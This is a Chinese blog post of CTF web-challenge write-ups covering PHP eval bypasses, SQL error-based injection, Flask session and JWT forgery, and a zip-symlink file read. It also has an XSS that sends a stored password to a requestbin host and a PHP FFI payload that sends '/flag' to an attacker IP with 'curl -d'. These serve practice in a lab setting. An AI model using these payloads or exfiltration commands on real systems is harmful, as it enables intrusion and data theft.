当前位置: 首页 > news >正文

buu刷题(第一周)

目录

[DDCTF 2019]homebrew event loop

action:trigger_event%23;action:buy;5%23action:get_flag;

[CISCN2019 华东南赛区]Web4

[RootersCTF2019]babyWeb

[GWCTF 2019]mypassword 

 [NESTCTF 2019]Love Math 2

[BSidesCF 2019]Pick Tac Toe

[RootersCTF2019]ImgXweb

 [SWPU2019]Web3

[RCTF 2019]Nextphp

FFI是什么


<?php$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
//生成一串32位的随机数,转换为16进制
eval("function SUCTF_$hash(){"."global \$MY;"."\$MY();"."}");
if(isset($_GET['func_name'])){$_GET["func_name"]();die();
}
show_source(__FILE__

create_function直接执行,里面是有eval

https://www.cnblogs.com/-chenxs/p/11459374.html

所以需要让create_function的函数名()引用一下来执行,下面的是不可能爆破成功了,然后create_function()这个函数的漏洞,他create之后会自动生成一个函数名为%00lambda_[0-999]我们可以爆破

import requests
for i in range(0,1000):payload="http://d815e336-d9b3-49c7-a28c-0ba34ba92c8f.node4.buuoj.cn:81/?func_name=%00lambda_{}".format(i)res=requests.get(url=payload)if(res.status_code==200):print(res.text)

[DDCTF 2019]homebrew event loop

这里简单说一下我在哪卡住的

我当时就想的是里面只会有一个值,也就是我们传入的

action:trigger_event%23;action:buy;5%23action:get_flag;

然后不就只可以循环一次吗,然后看见都需要先调用trigger_event

先写一下我们经过execute_event_loop()一些值得变化

action:  tigger_event#

args :   ["action:buy;5",["action:get_flag;"]]

 event_handler: tigger_event#_handler    #注释掉了后面    最后为   

就是 tigger_event(args)里面是两个数组

然后

request.event_queue= ["action:buy;5","action:get_flag;"]

这样这里就会0 1都有值可以循环二次,

 action:  buy

args :   ["action:buy;5",["action:get_flag;"]]  5

 event_handler: buy_handler

buy_handler(5)

最后一次调用

 action:  get_flag

args :  空

 event_handler: get_flag()

就是这样最后获得flag

然后为什么说可以直接调用5呢,因为这里是就是我们的钱无论够不够,它都会给我们先加上,然后扣掉

action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23

[CISCN2019 华东南赛区]Web4

初始一个界面点开后就有链接

通过观察url可以试一下任意文件读取漏洞

 发现可以读取源码,显示nosponse,呃呃呃当时这卡住了

应该换种角度思考,当时只是一味的读index.php如何审计,读取当前进程执行命令/proc/self/cmdline应该看一下进程

这种就以前见过,一个框架然后读取进程

import re, random, uuid, urllib
from flask import Flask, session, requestapp = Flask(__name__)
random.seed(uuid.getnode())#获取mac地址
app.config['SECRET_KEY'] = str(random.random()*233)#生成随机密钥    
app.debug = True#赋值@app.route('/')  #路由选择
def index():session['username'] = 'www-data'  #普通用户return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'@app.route('/read')
def read():try:url = request.args.get('url')m = re.findall('^file.*', url, re.IGNORECASE)n = re.findall('flag', url, re.IGNORECASE)if m or n:return 'No Hack'res = urllib.urlopen(url)#获取指定url的网址信息return res.read()except Exception as ex:print str(ex)return 'no response'@app.route('/flag')
def flag():if session and session['username'] == 'fuck':#这是我们的目标return open('/flag.txt').read()else:return 'Access denied'if __name__=='__main__':app.run(debug=True,host="0.0.0.0")

很简单,获取网卡地址然后生成密钥,伪造session为fuck 

 这里需要转化为十进制

这里就是python2和python3的版本区别,可以都试一下,该题 版本是python2

[RootersCTF2019]babyWeb

打开界面发现过滤了 ‘ “ union or 说明大概率是数字型注入。 

然后试一下1 || 1=1 limit 0,1直接出了flag

因为union的缘故,想到了报错注入,

1^updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)    users

获得列名,因为禁用了引号,所以users用16进制

1^updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),0x7e),1)    

发现显示的不全,第一种可以去掉group_concat,然后table_name=0x7573657273 limit 4,1 来截取

第二种,mid

1^updatexml(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),40,20),0x7e),1)    

 1^updatexml(1,concat(0x7e,(select group_concat(uniqueid) from users limit 0,1),0x7e),1)    

 XPATH syntax error: '~837461526918364526,123456789928'  然后查询获得flag

或者sqlmap一把梭

[GWCTF 2019]mypassword 

打开界面是一个登陆界面,然后打算用admin注册发现,该用户已经被注册

当时想了一下是不是要伪造admin用户呢

然后随机注册了一个用户,看一下功能FeedBack的源码

if(is_array($feedback)){echo "<script>alert('反馈不合法');</script>";return false;}$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];foreach ($blacklist as $val) {while(true){if(stripos($feedback,$val) !== false){$feedback = str_ireplace($val,"",$feedback);}else{break;}}}

 单纯从过滤的字符来看这道题,八成是一个xss然后,是把过滤的替换为空这个过滤很好绕过,只需要 inhostput拼接就可以了。

然后试一下能不能弹出

<scriphostt>alert(1)</scriphostt>发现可以弹出来。

呃呃呃呃思路到这里没了,只能去偷偷翻wp

最后发现少了点重要信息,在一开始未登陆的源码

if (document.cookie && document.cookie != '') {var cookies = document.cookie.split('; ');//分割cookie进行遍历var cookie = {};for (var i = 0; i < cookies.length; i++) {var arr = cookies[i].split('=');var key = arr[0];cookie[key] = arr[1];}if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){document.getElementsByName("username")[0].value = cookie['user'];//获取元素的值document.getElementsByName("password")[0].value = cookie['psw'];}
}

很简单这里是给我我们的提示,我们需要用同样的步骤获取值,然后显示出来就行

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>var psw = docucookiement.getcookieElementsByName("password")[0].value;docucookiement.locacookietion="http://http.requestbin.buuoj.cn/rlrk8drl/?a="+psw;
</scrcookieipt>

 RequestBin - 1oluqhy1这里是通过buu的一个平台可以接受请求,然后把接受的命令显示出来,也就是a=


 [NESTCTF 2019]Love Math 2

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){show_source(__FILE__);
}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 60) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}

大体思路通过数学符号然后构成一个命令执行,最后执行eval.

一个通用的方法就是用白名单和数字进行异或

<?php
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($whitelist);$k++){for($i=0;$i<9;$i++){for($j=0;$j<=9;$j++){$exp=$whitelist[$k] ^ $i. $j;echo ($whitelist[$k]."^$i$j"."=====>$exp");echo"<br />";}}
}

我们只需要找出_GET的构造就可以了,如何{}可以代替【】,

is_nan^64=====>_G

rand^75=====>ET

?c=$pi=(is_nan^(6).(4)).(rand^(7).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=ls%20/

我们要实现的其实是

?c=$pi=(_GET);$pi=$_GET;$_GET{0}($_GET{1})&0=system&1=ls%20/

[BSidesCF 2019]Pick Tac Toe

打开界面,感觉是只要自己连成一条一直即可获得flag,但根本赢不了  查看源码,发现每个格子对应着一个id,只需要move=id名字,就可以改掉及时该格子已被使用。

[RootersCTF2019]ImgXweb

点开界面是一个登陆的界面,首先注册了admin发现该用户已经存在,然后感觉是伪造admin用户

看了一下cookie发现是jwt可以解码,这时候就是如何获取密钥

diresearch发现了robots.txt,--》获得密钥

 

发现flag加载不出来,用了curl方法返回响应

 

 [SWPU2019]Web3

打开界面之后,发现直接登陆admin admin直接登陆成功,如何看见了uplaod的选项 

但是提示权限不够,直接查看源码

Permission denied!
<script type="text/javascript"> 
onload=function(){ 
setInterval(go, 1000); 
}; 
var x=3;
function go(){ 
x--; 
if(x>0){ 
document.getElementById("sp").innerHTML=x;
}else{ 
location.href='/'; 
} 
} 
</script>

当时的思路是绕过x>0,然后一秒转到根目录了,但是实在想不到怎么绕过了。

接着看了一下cookie,解码得到 

b'{"id":{" b":"MTAw"},"is_login":true,"password":"admin","username":"admin"}'

        解码b:100

到这里想了一下,明明是admin用户了,说明后台检验是否是管理员用户用的id字段,这点是看别的师傅wp出来的,我到这里真的没想到,把b改为1,这里的true必须是大写T,不然报错,血的教训。

然后文件上传会显示源码,

@app.route('/upload',methods=['GET','POST'])
def upload():if session['id'] != b'1':return render_template_string(temp)if request.method=='POST':m = hashlib.md5()#进行md5     name = session['password']//对应本次的是密码name = name+'qweqweqwe'//adminqweqweqwename = name.encode(encoding='utf-8')//字符utf-8加密m.update(name)md5_one= m.hexdigest()   //name也就是password的md5加密n = hashlib.md5()ip = request.remote_addr //ip地址ip = ip.encode(encoding='utf-8')n.update(ip)md5_ip = n.hexdigest()f=request.files['file'] #接收前端发的文件basepath=os.path.dirname(os.path.realpath(__file__)) #找出真实的位置path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"path_base = basepath+'/upload/'+md5_ip+'/'filename = f.filename  #获取文件名pathname = path+filename   #路径  +  文件名if "zip" != filename.split('.')[-1]:    #这里需要是zip文件return 'zip only allowed'if not os.path.exists(path_base):try:os.makedirs(path_base)except Exception as e:return 'error'if not os.path.exists(path):try:os.makedirs(path)  #建立文件except Exception as e:return 'error'if not os.path.exists(pathname):try:f.save(pathname)except Exception as e:return 'error'try:cmd = "unzip -n -d "+path+" "+ pathnameif cmd.find('|') != -1 or cmd.find(';') != -1:  #文件中不能存在 |  ;waf()return 'error'os.system(cmd)  #这里有个命令执行except Exception as e:return 'error'unzip_file = zipfile.ZipFile(pathname,'r')unzip_filename = unzip_file.namelist()[0]if session['is_login'] != True:return 'not login'try:if unzip_filename.find('/') != -1:shutil.rmtree(path_base)os.mkdir(path_base)return 'error'image = open(path+unzip_filename, "rb").read()resp = make_response(image)resp.headers['Content-Type'] = 'image/png'return respexcept Exception as e:shutil.rmtree(path_base)os.mkdir(path_base)return 'error'return render_template('upload.html')@app.route('/showflag')
def showflag():if True == False:image = open(os.path.join('./flag/flag.jpg'), "rb").read()resp = make_response(image)resp.headers['Content-Type'] = 'image/png'return respelse:return "can't give you"
-->

这里的关键就是,

@app.route('/showflag')
def showflag():
    if True == False:
        image = open(os.path.join('./flag/flag.jpg'), "rb").read()
        resp = make_response(image)
        resp.headers['Content-Type'] = 'image/png'
        return resp
    else:
        return "can't give you"

但if是不可能成立的,但是这里给出了flag.jpg的路径,./flag/flag.jpg,这里必须使用zip上传,就用到了软链接的思路。

1.在 linux 中,/proc/self/cwd/会指向进程的当前目录,在不知道 flask 工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问 flag.jpg。
2.ln -s是Linux的软连接命令,其类似与windows的快捷方式。比如ln -s /etc/passwd shawroot 这会出现一个名为shawroot的文件,其内容为/etc/passwd的内容。

 ln -s /proc/self/cwd/flag/flag.jpg JYcxk

zip -ry root.zip JYcxk

-r:将指定的目录下的所有子目录以及文件一起处理

-y:直接保存符号连接,而非该连接所指向的文件,本参数仅在UNIX之类的系统下有效。
 

上传压缩包,burp抓包即可获得flag

[RCTF 2019]Nextphp

<?php
if (isset($_GET['a'])) {eval($_GET['a']);
} else {show_source(__FILE__);
}

 直接system没响应,八成被禁用了。

 绕过disable_function,这道题的考点是FFI命令执行

可以用FFI的指定文件是preload.php,所以我们需要查看一下源码。 

 ?a=var_dump(file_get_contents(%27/var/www/html/preload.php%27));

得到如下源码 


<?php
final class A implements Serializable {protected $data = ['ret' => null,'func' => 'print_r','arg' => '1'];private function run () {$this->data['ret'] = $this->data['func']($this->data['arg']);//ret=print_r(1)}public function __serialize(): array {return $this->data;}public function __unserialize(array $data) {array_merge($this->data, $data);//结合数组$this->run();}public function serialize (): string {return serialize($this->data);}public function unserialize($payload) {$this->data = unserialize($payload);$this->run();}public function __get ($key) {return $this->data[$key];}public function __set ($key, $value) {throw new \Exception('No implemented');}public function __construct () {throw new \Exception('No implemented');}
}
"

FFI是什么

FFI是php7.4 版本出的一个扩展,总结而言,就是php中可以调用c语言中写的库

?a=var_dump(file_get_contents(%27/var/www/html/preload.php%27));

简单的来说,系统会先执行 __serialize>serialize ,__unserialize>unserialize

 所以如果我们想要执行后者,必须注释掉前者。

    <?php    final class A implements Serializable {protected $data = ['ret' => null,'func' => 'FFI::cdef','arg' => 'int system(char *command);'];private function run () {echo "run<br>";$this->data['ret'] = $this->data['func']($this->data['arg']);}public function serialize (): string {return serialize($this->data);}public function unserialize($payload) {$this->data = unserialize($payload);$this->run();}public function __get ($key) {return $this->data[$key];}public function __set ($key, $value) {throw new \Exception('No implemented');}}$a = new A();echo base64_encode(serialize($a)); // 即payload
?a=unserialize(base64_decode('QzoxOiJBIjo4OTp7YTozOntzOjM6InJldCI7TjtzOjQ6ImZ1bmMiO3M6OToiRkZJOjpjZGVmIjtzOjM6ImFyZyI7czoyNjoiaW50IHN5c3RlbShjaGFyICpjb21tYW5kKTsiO319'))->__serialize()['ret']->system('curl -d @/flag 服务器IP:7777 ');

第二种方法就是,直接在页面上输出

a=unserialize(urldecode('C%3A1%3A%22A%22%3A89%3A%7Ba%3A3%3A%7Bs%3A3%3A%22ret%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A9%3A%22FFI%3A%3Acdef%22%3Bs%3A3%3A%22arg%22%3Bs%3A26%3A%22int+system%28char+%2Acommand%29%3B%22%3B%7D%7D'))->__serialize()['ret']->system('ls > /var/www/html/1.txt'); 

 因为这道题限制了目录,所以我们把结果存在根目录的1.txt里面,最后获得flag。

相关文章:

buu刷题(第一周)

目录 [DDCTF 2019]homebrew event loop action:trigger_event%23;action:buy;5%23action:get_flag; [CISCN2019 华东南赛区]Web4 [RootersCTF2019]babyWeb [GWCTF 2019]mypassword [NESTCTF 2019]Love Math 2 [BSidesCF 2019]Pick Tac Toe [RootersCTF2019]ImgXweb [SW…...

算法训练营 day62 单调栈 每日温度 下一个更大元素 I

算法训练营 day62 单调栈 每日温度 下一个更大元素 I 每日温度 739. 每日温度 - 力扣&#xff08;LeetCode&#xff09; 给定一个整数数组 temperatures &#xff0c;表示每天的温度&#xff0c;返回一个数组 answer &#xff0c;其中 answer[i] 是指对于第 i 天&#xff0c…...

ChIP-seq 分析:Peak 注释与可视化(9)

1. 基因注释 到目前为止&#xff0c;我们一直在处理对应于转录因子结合的 ChIPseq 峰。顾名思义&#xff0c;转录因子可以影响其靶基因的表达。 转录因子的目标很难单独从 ChIPseq 数据中确定&#xff0c;因此我们通常会通过一组简单的规则来注释基因的峰&#xff1a; 如果峰与…...

ABB机器人配置DeviceNet总线IO板以及信号分配的具体方法示例

ABB机器人配置DeviceNet总线IO板以及信号分配的具体方法示例 基本步骤: 配置IO板分配IO信号这里以DeviceNet总线的DSQC652为例进行说明: 配置IO板的基本步骤:  配置IO板的型号  连接到总线  配置IO板的地址 (1台机器人可以配置多个IO板连接到DeviceNet总线,为了让机…...

2023 年网络安全漏洞的主要原因

​  网络安全漏洞已经并将继续成为企业面临的主要问题。因此&#xff0c;对于企业领导者来说&#xff0c;了解这些违规行为的原因至关重要&#xff0c;这样他们才能更好地保护他们的数据。 在这篇博文中&#xff0c;我们将概述 2023 年比较普遍的网络安全漏洞的主要原因。 云…...

剑指 Offer 34. 二叉树中和为某一值的路径

剑指 Offer 34. 二叉树中和为某一值的路径 难度&#xff1a;middle\color{orange}{middle}middle 题目描述 给你二叉树的根节点 rootrootroot 和一个整数目标和 targetSumtargetSumtargetSum &#xff0c;找出所有 从根节点到叶子节点 路径总和等于给定目标和的路径。 叶子节…...

2023前端vue面试题(边面边更)

Vue中key的作用 vue 中 key 值的作用可以分为两种情况来考虑&#xff1a; 第一种情况是 v-if 中使用 key。由于 Vue 会尽可能高效地渲染元素&#xff0c;通常会复用已有元素而不是从头开始渲染。因此当使用 v-if 来实现元素切换的时候&#xff0c;如果切换前后含有相同类型的…...

webpack配置完全指南

前言 对于入门选手来讲&#xff0c;webpack 配置项很多很重&#xff0c;如何快速配置一个可用于线上环境的 webpack 就是一件值得思考的事情。其实熟悉 webpack 之后会发现很简单&#xff0c;基础的配置可以分为以下几个方面&#xff1a; entry 、 output 、 mode 、 resolve …...

juju创建lxd容器时如何使用本地镜像(by quqi99)

作者&#xff1a;张华 发表于&#xff1a;2023-03-01 版权声明&#xff1a;可以任意转载&#xff0c;转载时请务必以超链接形式标明文章原始出处和作者信息及本版权声明 问题 没有外网&#xff0c;所以配置了一个local custom镜像库&#xff0c;也使用了container-image-meta…...

后端程序员学习前端开发之第一步环境搭建

一、安装 Node.js Node.js 是一个开源的、跨平台的 JavaScript 运行时环境。Node.js官网 二、安装 npm 镜像 因为 npm 是国外的&#xff0c;所以使用起来速度比较慢。我们这里使用了淘宝的 cnpm 镜像安装 vue。使用淘宝的 cnpm 命令管理工具代替默认的 npm 管理工具。 进入c…...

【记录问题】RuntimeError:working outside of application context. Flask使用SQLAlchemy数据库

前提&#xff1a;Flask使用SQLAlchemy数据库 本质&#xff1a;依赖包版本不匹配 问题1&#xff1a;报错RuntimeError&#xff1a;working outside of application context. 运行程序报错&#xff0c;如下错误&#xff1a; 原因&#xff1a;flask-sqlalchemy 版本过高导致&am…...

自动化测试难点案例分析,其实自动化你用错方向还不如不用

随着国内企业软件开发及测试水平的提升&#xff0c;许多企业开始尝试开展自动化测试的应用&#xff0c;以提高测试效率和测试质量。虽然在国外自动化测试工具应用已经很普遍&#xff0c;但国内许多企业对于软件自动化测试的理解还停留在表面上&#xff0c;没有深入的理解到企业…...

866363-70-4,N3-C5-NHS ester,叠氮-C5-NHS 主要物理性质分享

●外观以及性质&#xff1a;Azido-Aca-NHS淡黄色或无色油状&#xff0c;叠氮化物可以与炔烃、DBCO和BCN进行铜催化的点击化学反应。NHS酯可以与胺基反应&#xff0c;形成稳定的酰胺键。●中文名&#xff1a;叠氮-C5-NHS ester&#xff0c;6-叠氮己酸活性酯●英文名&#xff1a;…...

字符流定义及如何深入理解字符流的编码

IputSrem类和OupuSrem类在读写文件时操作的都是字节&#xff0c;如果希望在程序中操作字符&#xff0c;使用这两个类就不太方便&#xff0c;为此JDK提供了字符流。同字节流样&#xff0c;字符流也有两个抽象的顶级父类&#xff0c;分别是Reader和Writer其中&#xff0c;Reader是…...

什么是pod类型

很久很久以前&#xff0c;C 语言统一了江湖。几乎所有的系统底层都是用 C 写的&#xff0c;当时定义的基本数据类型有 int、char、float 等整数类型、浮点类型、枚举、void、指针、数组、结构等等。然后只要碰到一串01010110010 之类的数据&#xff0c;编译器都可以正确的把它解…...

2023年中小企业实施智能制造的建议

智能制造的载体是制造系统&#xff0c;制造系统从微观到宏观有不同的层次&#xff0c;主要包括制造装备、制造单元、制造车间&#xff08;工厂&#xff09;、制造企业和企业生态等。随着智能制造的深入推进&#xff0c;未来智能制造将向以下五个方向发展。 &#xff08;一&…...

【LeetCode】剑指 Offer 19. 正则表达式匹配 p124 -- Java Version

题目链接&#xff1a;https://leetcode.cn/problems/zheng-ze-biao-da-shi-pi-pei-lcof/ 1. 题目介绍&#xff08;19. 正则表达式匹配&#xff09; 请实现一个函数用来匹配包含. 和*的正则表达式。模式中的字符.表示任意一个字符&#xff0c;而’*表示它前面的字符可以出现任意…...

linux和windows中安装emqx消息服务器

大家好&#xff0c;我是雄雄&#xff0c;欢迎关注微信公众号雄雄的小课堂 现在是&#xff1a;2023年3月1日21:53:55 前言 最近几天看了下mqtt&#xff0c;通过不断的搜索资料&#xff0c;也将mqtt集成到项目中&#xff0c;跑了个demo运行&#xff0c;和预想中的差不多&#x…...

【XXL-JOB】XXL-JOB的搭建和使用

【XXL-JOB】XXL-JOB的搭建和使用 文章目录【XXL-JOB】XXL-JOB的搭建和使用1. 任务调度1.1 实现任务调度1.1.1 多线程实现1.1.2 Timer实现1.1.3 ScheduledExecutor实现2. 分布式任务调度2.1 采用分布式的原因3. XXL-JOB3.1 XXL-JOB介绍3.2 执行流程4. 搭建XXL-JOB4.1 创建数据库…...

HCIP-5OSPF基本原理及基本配置学习笔记

1、OSPF基本原理 开放式最短路径优先OSPF&#xff08;Open Shortest Path First&#xff09;协议是IETF定义的一种基于链路状态的内部网关路由协议。 RIP是一种基于距离矢量算法的路由协议&#xff0c;存在着收敛慢、易产生路由环路、可扩展性差等问题&#xff0c;目前已逐渐被…...

Migrate your data into databend with DataX

现在互联网应用越来越复杂&#xff0c;每个公司都会有多种多样的数据库。通常是用最好的硬件来跑 OLTP&#xff0c;甚至还在 OLTP 中进行分库分表来满足业务&#xff0c;这样对于一些分析&#xff0c;聚合&#xff0c;排序操作非常麻烦。这也有了异构数据库的数据同步需求&…...

ssh: Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password)

【ansible 设置host为localhost&#xff0c;执行ping命令报错】 [eniq-slocalhost ansible]$ ansible all -m ping -i inventory localhost | UNREACHABLE! > { "changed": false, "msg": "Failed to connect to the host via ssh: Perm…...

有限元中三角形的一些积分公式

文章目录有限元中三角形的相关积分公式有限元中三角形的相关积分公式 在 xyxyxy 平面中&#xff0c; 通过三个点 (xi,yi),(xj,yj),(xm,ym)(x_i, y_i), (x_j, y_j), (x_m, y_m)(xi​,yi​),(xj​,yj​),(xm​,ym​) 定义一个三角形&#xff0c; 令坐标原点位于其中心(或者重心)…...

【docker-compose】安装mongodb

1. 安装方式 压缩包容器安装docker&#xff08;推荐&#xff0c;一分钟安装&#xff09; 2. 环境 linux服务器已安装好 docker docker-compose &#xff08;不了解的客官&#xff0c;请点击进入&#xff09; 3. 步骤&#xff1a; Step 1&#xff1a; linux下建立如下目录…...

【ClickHouse源码】物化视图的写入过程

本文对 ClickHouse 物化视图的写入流程源码做个详细说明&#xff0c;基于 v22.8.14.53-lts 版本。 StorageMaterializedView 首先来看物化视图的构造函数&#xff1a; StorageMaterializedView::StorageMaterializedView(const StorageID & table_id_,ContextPtr local_…...

.NET 使用NLog增强日志输出

引言 不管你是开发单体应用还是微服务应用&#xff0c;在实际的软件的开发、测试和运行阶段&#xff0c;开发者都需要借助日志来定位问题。因此一款好的日志组件将至关重要&#xff0c;在.NET 的开源生态中&#xff0c;目前主要有Serilog、Log4Net和NLog三款优秀的日志组件&…...

一道阿里类的初始化顺序笔试题

问题很简单&#xff0c;就是下面的代码打印出什么&#xff1f; public class InitializeDemo {private static int k 1;private static InitializeDemo t1 new InitializeDemo("t1" );private static InitializeDemo t2 new InitializeDemo("t2");priv…...

cuda找不到路径报错

编译C文件时出现&#xff1a;error: [Errno 2] No such file or directory: :/usr/local/cuda:/usr/local/cuda/bin/nvcc 在终端输入&#xff1a; export CUDA_HOME/usr/local/cuda...

Elasticsearch进阶之(核心概念、系统架构、路由计算、倒排索引、分词、Kibana)

Elasticsearch进阶之&#xff08;核心概念、系统架构、路由计算、倒排索引、分词、Kibana&#xff09; 1、核心概念&#xff1a; 1.1、索引&#xff08;Index&#xff09; 一个索引就是一个拥有几分相似特征的文档的集合。比如说&#xff0c;你可以有一个客户数据的索引&…...

Android包体积缩减

关于减小包体积的方案&#xff1a; 一、所有的图片压缩&#xff0c;采用webp 格式。 &#xff08;当然有些图片采用webp格式反而变大了&#xff0c;可以仍采用png格式&#xff09; 二、语音资源过滤 只保留中文 resConfigs "zh-rCN", "zh” 可以减少resourc…...

当当网网站建设方案/站长工具seo推广

&#xff08;一&#xff09;Spring IoC 重要概念 1、控制反转&#xff08;Inversion of control&#xff09;&#xff1a; 控制反转是一种通过描述&#xff08;在java中通过xml或者注解&#xff09;并通过第三方去产生或获取特定对象的方式。 控制反转IoC(Inversion of Control…...

专做程序员招聘的网站/软文平台发布

1.第一个Bug的故事 有人把软件产品和药品并称为世界上两种无法根除自身的缺陷却被允许公开合法销售的产品&#xff01; 随着软件各种Bug的增多&#xff0c;严重的质量事故也随之增多&#xff0c;人们对抗Bug的态度日益强硬。 1945年9月某天&#xff0c;Hopper 正在埋头工作在一…...

潍坊 网站建设/各大引擎搜索入口

上半年流畅度的新机排名&#xff0c;哇&#xff01;第一名居然是这款2019-05-11 22:26:4510点赞6收藏29评论要了解更多流行资讯、玩机技巧、数码体验、科普深扒&#xff0c;点击右上角关注我-----------2019年到现在已经过半了&#xff0c;各大手机厂商的新机发布热潮也慢慢降了…...

网站做记录访客/百度手机应用市场

最近在做MIS管理系统中&#xff0c;对于数据列表展示前面要加上一个序号&#xff0c;全选等功能(本篇文章只解决在DataGrid前加序号问题)&#xff1b;从网上也看到有 朋友对这方面的功能做了一些讲解&#xff0c;其功能都是一样&#xff0c;也没有什么好说&#xff1b;关键在于…...

建一个网站需要哪些费用/软文发布平台与板块

文/小伊评科技还是那个结论&#xff0c;我不认为现阶段的鸿蒙OS能够在手机这种载体上真正的挑战Android以及IOS&#xff0c;但是未来就不一定了。作为例子&#xff0c;早些年微软凭借WindowPhone以及对于诺基亚的扶持都没能从IOS和安卓手上抢下市场&#xff0c;反而最后落得一个…...

沧州哪家做网站好/营销策划方案怎么做

默认插槽&#xff1a; 父组件中&#xff1a;<Category><div>html结构1</div></Category>子组件中&#xff1a;<template><div><!-- 定义插槽 --><slot>插槽默认内容...</slot></div></template>具名插槽&a…...